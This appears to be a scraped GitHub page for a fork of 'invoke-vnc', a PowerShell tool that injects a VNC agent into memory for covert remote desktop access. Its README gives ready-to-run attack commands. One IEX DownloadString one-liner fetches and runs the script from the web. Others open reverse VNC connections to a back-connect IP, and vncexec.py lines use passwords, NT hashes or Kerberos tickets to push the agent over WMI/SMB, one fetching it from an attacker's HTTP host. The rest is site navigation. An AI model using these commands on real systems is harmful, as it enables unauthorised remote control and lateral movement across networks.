Git Product home page Git Product logo

mitgedanken-lab / invoke-vnc Goto Github PK

View Code? Open in Web Editor NEW

This project forked from klsecservices/invoke-vnc

0.0 1.0 0.0 3.13 MB

Powershell VNC injector

License: Apache License 2.0

PowerShell 35.87% C 52.93% Python 0.30% Batchfile 0.01% Objective-C 0.18% C++ 7.70% Roff 0.36% Shell 1.25% SAS 0.14% Smalltalk 0.01% Assembly 0.09% HTML 0.70% Module Management System 0.16% DIGITAL Command Language 0.04% Makefile 0.11% WebAssembly 0.14%

invoke-vnc's Introduction

Invoke-Vnc - a powershell VNC injector

Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.

Usage example

Invoke locally:

Import-Module Invoke-Vnc.ps1
#Reverse VNC connection
Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd
#Bind VNC connection
Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd

Invoke over net:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/artkond/Invoke-Vnc/master/Invoke-Vnc.ps1')
#Reverse VNC connection
Invoke-Vnc -ConType reverse -IpAddress <backconnect_ip> -Port 5500 -Password P@ssw0rd
#Bind VNC connection
Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd

Launch VNC listener to catch reverse VNC connection:

vncviewer –listen <port>

Execute agent remotely via WMI

If you have authenticated access (password, nt hash or kerberos ticket) to the machine, you can use the vncexec.py script to execute the VNC agent.

Upload an encoded ps1 script as a bat file via SMB and execute the agent to bind a VNC port on target:

vncexec.py -invoke-vnc-path Invoke-Vnc.ps1 -contype bind -vncport 5900 -vncpass P@ssw0rd -method upload user:pass@target_ip

Download the script via HTTP from the attacker's host and execute the agent to get a reverse VNC connection:

vncexec.py -bc-ip <attacker's_host> -httpport 8080 -invoke-vnc-path Invoke-Vnc.ps1 -contype reverse -vncport 5500 -vncpass P@ssw0rd -method download user:pass@target_ip

Script depends on a recent build of impacket library. Get it at https://github.com/CoreSecurity/impacket

git clone https://github.com/CoreSecurity/impacket
cd impacket
sudo python setup.py install

Build notes

Project is built using Visual Studio 2013. To successfully build the solution you need python to be available at C:\Python27\python.exe. Both x86 and x64 configurations must be built in order to update Invoke-Vnc.ps1 script.

To-do

  • Fix session tracking

Author

Artem Kondratenko https://twitter.com/artkond

Credit

Repo is based on the following projects:

invoke-vnc's People

Contributors

artkond avatar mpgn avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.